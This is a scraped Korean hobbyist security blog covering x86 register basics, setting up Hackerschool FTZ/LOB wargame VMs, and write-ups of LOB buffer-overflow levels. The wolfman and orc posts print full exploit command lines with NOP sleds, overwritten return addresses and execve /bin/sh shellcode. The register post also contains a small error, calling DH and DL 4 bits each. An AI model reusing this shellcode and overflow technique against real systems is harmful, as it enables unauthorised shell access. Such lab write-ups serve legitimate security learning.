no image
[리버싱 기초]레지스터
EAX - 산술연산에 사용, 함수 리턴값 저장 EAX 레지스터는 산술연산에 사용함으로 덧셈,뺄셈,곱하기,나누기 등 논리연산을 수행할때 사용되는 레지스터이며 총 32bit 이며 EAX를 반으로 나누면 AX 16bit 가 됩니다. 다시 AX를 나누면 AH와 AL로 나눠지는데 각각 8bit 를 가지게 됩니다. EBX - 베이스, 특정 메모리를 가리키는 포인터 EBX 레지스터는 메모리 주소를 저장하기 위해 사용되고 EAX와 같이 32bit 이며 EBX를 나누면 BX 16bit 가 됩니다. 또 BX를 나눠도 BH와 BL로 나뉘며 각각 8bit를 가지게 됩니다. ECX - 카운터 코드에 사용 ECX는 반복적으로 사용되는 연산에 주로 사용됩니다. 예를 들어 if ,while 등 ECX레지스터는 값을 증가시키면서 카운..
2017.06.16
ETC
no image
FTZ 서버 구축(해커스쿨)
ftz 9.0 다운 출처 : http://noplanlife.com vmware workstation 다운 위 빨간거클릭하면 다운받을수 있음 위에 vmware_Redhat_9_FTZ.zip 를 다운받습니다 압축풀고 저 빨간색 내모 더블클릭하면 가상머신에 자동으로 올라감 빨간 내모 클릭하면 가상머신 작동함니다 이거나오면 그냥 엔터누르면 넘어감 id = root pw = hackerschool ifconfig 명령으로 inet addr 아이피 그대로 puutty나 xshell 이든 우분투든 상관없는데 아무거나 써도됨 근데 xshell 쓰기때문에 xshell로 설명 그대로 inet addr 적어주면 됨 처음하면 글씨깨지는데 지구모양 - > 자세히 -> Korean(EUC) 하고 다시하면 안깨짐 이 창이 두번나..
2017.05.28
ETC
no image
[LOB]wolfman
소스가 전부 비슷비슷합니다 하지만 이번에는 문자열비교를한다. 이문제는 전과 비슷하게풀었는데 python 을 두번써서 비교에 안걸리게 쓴것같다. t 0xbffffdd9 가 주소값으로 explot code : ./wolfman `python -c 'print "\x90"*44 + "\xd9\xfd\xff\xbf"'` `python -c 'print "\x90" * 30 + " \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 파이썬을 한번만 써서 할시 저런 문장이 출력된다. 파이썬을 두번쓰니 쉘이 출력됫다.
2017.05.17
no image
[LOB]orc
전과다른건 buffer hunter 가 생겻다는 점입니다. buffer를 0 으로 초기화하는데 문제를 푸는데 딱히 걸리지않습니다. 문제풀이는 전에 풀던 goblin과 별차이가 없습니다. gdb를 통해 주소값을 찾고 이전과 스택도 같습니다. nop 40 + sfp 4 + ret 4 +nop 200 + shellcode 25 로 익스하면되겟습니다. 보면 주소값은 0xbffffc80 될 것입니다. 그렇다면 바로 익스해보면./wolfman `python -c 'print "\x90"*44 + "\x80\xfc\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\..
2017.05.16
랜섬웨어 와 예방법
보호되어 있는 글입니다.
2017.05.15
ETC
no image
[LOB]goblin
이번 문제에서는 환경변수를 사용해서 주소값을 받아올수없습니다. gdb 를 통해 주소값을 구해야할것같습니다. 스택의 구조는 이렇다고 볼 수 있습니다. gdb를 통해 주소값을 구하는 과정입니다. 주소값은 0xbffffca1 이되겠습니다 그렇다면 필요한것은 전부 수집한것같습니다. 페이로드는 dummy 44 + 주소값 + nop+200 + shellcode ftz 에서도 많이 봤듯이 nop를 타고 shellcode를 실행합니다.
2017.05.13
no image
LOB 서버 구축
해커스쿨에서 제공하는 이미지파일이다. http://www.hackerschool.org/Sub_Html/HS_Community/?Type=University&More_Size=-70 Vmware 를 설치 한뒤에 저파일을 더블클릭하면 vmware 에 장착되게된다. 그뒤에 실행하면 문제를 풀 수 있다! 첫문제는 gate/gate 로 들어갈 수 있다. 주의점 red hat 은 bash에서 0xff가 0x00으로 처리된다고한다 /bin/bash2 로 쉘을 변경후에 문제를 풀기바랍니다!!
2017.05.04
no image
[LOB]cobolt
gremlin과 별다른게 없어보입니다 그런데 get함수로 buffer를 받고 있습니다. 그렇다면 gets에 취약점이 존재하게 됩니다. 전과 같이 환경변수에 쉘코드를 넣어주고 주소값을 받아옵니다. 전과 같게 공격하면 먹히지않습니다 그래서 cat을 사용해서 풀었습니다 되게 간단하게 푼것같습니다.
2017.05.04

[리버싱 기초]레지스터

jhyoonzi
|2017. 6. 16. 00:36

EAX - 산술연산에 사용, 함수 리턴값 저장


EAX 레지스터는 산술연산에 사용함으로 덧셈,뺄셈,곱하기,나누기 등


논리연산을 수행할때 사용되는 레지스터이며


총 32bit 이며 EAX를 반으로 나누면 AX 16bit 가 됩니다.


다시 AX를 나누면 AH와 AL로 나눠지는데 각각 8bit 를 가지게 됩니다.


EBX - 베이스, 특정 메모리를 가리키는 포인터


EBX 레지스터는 메모리 주소를 저장하기 위해 사용되고


EAX와 같이 32bit 이며 EBX를 나누면 BX 16bit 가 됩니다. 


또 BX를 나눠도 BH와 BL로 나뉘며 각각 8bit를 가지게 됩니다.



ECX - 카운터 코드에 사용


ECX는 반복적으로 사용되는 연산에 주로 사용됩니다. 예를 들어 if ,while 등


ECX레지스터는 값을 증가시키면서 카운트를 세는 것이 아닌 감소시키면서


카운트를 센다는 점입니다.



EDX - 데이터 레지스터 (곱셈,나눗셈)


EDX는 곱셈과 나눗셈을 통한 연산이 사용될 때 EDX 레지스터가 사용됩니다.


32bit 로 구성되어있고 나누면 DX 16bit 가 되고


또 나누면 DH,DL 각각 4bit 씩 가지게 됩니다.


EDX는 EAX와 같이 쓰입니다.



ESI - 문자열 연산의 출발지 포인터


ESI는 데이터를 변조하거나 복사할때 데이터의 주소가 저장이 됩니다.



EDI - 문자열 연산의 목적지 포인터


EDI는 복사할때 목적지의 주소가 저장됩니다.



ESP - 스택 포인터


ESP는 스택의 끝 지점의 주소를 가르킵니다.



EBP - 스택 프레임 베이스 포인터 스택의 기준 주소를 저장


EBP는 스택의 첫주소를 가르킵니다.

 


EIP - 다음 실행할 명령어를 가리키는 포인터


바이너리 코드 실행 중에 현재 실행되고 있는 명령의 주소를 가르킵니다.





이해가 잘 되지않는 분은 아래에 있는 그림으로 이해를...




사진 출처 : 구글






'ETC' 카테고리의 다른 글

gdb 명령어  (0) 2017.06.27
[리버싱 기초]어셈블리어  (0) 2017.06.16
FTZ 서버 구축(해커스쿨)  (0) 2017.05.28
랜섬웨어 와 예방법  (0) 2017.05.15
쉘 이란? [Linux]  (0) 2016.12.31

FTZ 서버 구축(해커스쿨)

jhyoonzi
|2017. 5. 28. 22:49

       ftz 9.0 다운


         출처 : http://noplanlife.com


        vmware workstation 다운


     위 빨간거클릭하면 다운받을수 있음







위에 vmware_Redhat_9_FTZ.zip


 를 다운받습니다



압축풀고






저 빨간색 내모 더블클릭하면


가상머신에 자동으로 올라감





빨간 내모 클릭하면 가상머신 작동함니다






이거나오면 그냥 엔터누르면 넘어감





id = root

pw = hackerschool
















ifconfig 명령으로 inet addr 아이피


그대로 puutty나 xshell 이든 우분투든 상관없는데


아무거나 써도됨


근데 xshell 쓰기때문에


xshell로 설명









그대로 inet addr 적어주면 됨



처음하면 글씨깨지는데 지구모양 - > 자세히 -> Korean(EUC)


하고 다시하면 안깨짐





이 창이 두번나옴


첫번째에서 trainer1


두번째에서 trainer2


trainer 1~10 구성되어있음














'ETC' 카테고리의 다른 글

[리버싱 기초]어셈블리어  (0) 2017.06.16
[리버싱 기초]레지스터  (0) 2017.06.16
랜섬웨어 와 예방법  (0) 2017.05.15
쉘 이란? [Linux]  (0) 2016.12.31
포너블 특수권한,권한,심볼릭링크  (0) 2016.12.31


소스가 전부 비슷비슷합니다 하지만 이번에는


문자열비교를한다.


이문제는 전과 비슷하게풀었는데


python 을 두번써서 비교에 안걸리게 쓴것같다. 





t



0xbffffdd9 가 주소값으로


explot code : ./wolfman `python -c 'print "\x90"*44 + "\xd9\xfd\xff\xbf"'` `python -c 'print "\x90" * 30 + " \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`




파이썬을 한번만 써서 할시 저런 문장이 출력된다.


파이썬을 두번쓰니 쉘이 출력됫다.



'Wargame - 고등학교 시절 가독성 주의 부탁드립니다.) > PWNABLE' 카테고리의 다른 글

[LOB]orc  (0) 2017.05.16
[LOB]goblin  (0) 2017.05.13
LOB 서버 구축  (0) 2017.05.04
[LOB]cobolt  (0) 2017.05.04
[LOB]gremlin  (0) 2017.05.04



전과다른건 buffer hunter 가 생겻다는 점입니다.


buffer를 0 으로 초기화하는데 


문제를 푸는데 딱히 걸리지않습니다.





문제풀이는 전에 풀던 goblin과 별차이가 없습니다.


gdb를 통해 주소값을 찾고


이전과 스택도 같습니다. 


nop 40 + sfp 4 + ret 4 +nop 200 + shellcode 25


로 익스하면되겟습니다.







보면 주소값은 0xbffffc80 될 것입니다.


그렇다면 바로 익스해보면

./wolfman `python -c 'print "\x90"*44 + "\x80\xfc\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`




쉘이 주어집니다.



'Wargame - 고등학교 시절 가독성 주의 부탁드립니다.) > PWNABLE' 카테고리의 다른 글

[LOB]wolfman  (0) 2017.05.17
[LOB]goblin  (0) 2017.05.13
LOB 서버 구축  (0) 2017.05.04
[LOB]cobolt  (0) 2017.05.04
[LOB]gremlin  (0) 2017.05.04

랜섬웨어 와 예방법

2017. 5. 15. 22:00

This is a protected article. Please enter the password.



이번 문제에서는 환경변수를 사용해서


주소값을 받아올수없습니다.


gdb 를 통해 주소값을 구해야할것같습니다.




스택의 구조는 



이렇다고 볼 수 있습니다.




gdb를 통해 주소값을 구하는 과정입니다.





주소값은 0xbffffca1 이되겠습니다


그렇다면 필요한것은 전부 수집한것같습니다.


페이로드는 dummy 44 + 주소값 + nop+200 + shellcode


ftz 에서도 많이 봤듯이 nop를 타고 shellcode를 실행합니다.







'Wargame - 고등학교 시절 가독성 주의 부탁드립니다.) > PWNABLE' 카테고리의 다른 글

[LOB]wolfman  (0) 2017.05.17
[LOB]orc  (0) 2017.05.16
LOB 서버 구축  (0) 2017.05.04
[LOB]cobolt  (0) 2017.05.04
[LOB]gremlin  (0) 2017.05.04

해커스쿨에서 제공하는 이미지파일이다.


http://www.hackerschool.org/Sub_Html/HS_Community/?Type=University&More_Size=-70


Vmware 를 설치 한뒤에




저파일을 더블클릭하면


vmware 에 장착되게된다.


그뒤에 실행하면




문제를 풀 수 있다!


첫문제는 gate/gate 로 들어갈 수 있다.





주의점


red hat 은 bash에서 0xff가 0x00으로 처리된다고한다


/bin/bash2 로 쉘을 변경후에 문제를 풀기바랍니다!!





'Wargame - 고등학교 시절 가독성 주의 부탁드립니다.) > PWNABLE' 카테고리의 다른 글

[LOB]orc  (0) 2017.05.16
[LOB]goblin  (0) 2017.05.13
[LOB]cobolt  (0) 2017.05.04
[LOB]gremlin  (0) 2017.05.04
[LOB]gate  (0) 2017.05.04


gremlin과 별다른게 없어보입니다 그런데


get함수로 buffer를 받고 있습니다.


그렇다면


gets에 취약점이 존재하게 됩니다.




전과 같이 환경변수에 쉘코드를 넣어주고


주소값을 받아옵니다.




전과 같게 공격하면 먹히지않습니다


그래서 cat을 사용해서 풀었습니다 



되게 간단하게 푼것같습니다.



'Wargame - 고등학교 시절 가독성 주의 부탁드립니다.) > PWNABLE' 카테고리의 다른 글

[LOB]goblin  (0) 2017.05.13
LOB 서버 구축  (0) 2017.05.04
[LOB]gremlin  (0) 2017.05.04
[LOB]gate  (0) 2017.05.04
[Pwnable.kr]ShellShock  (0) 2017.05.03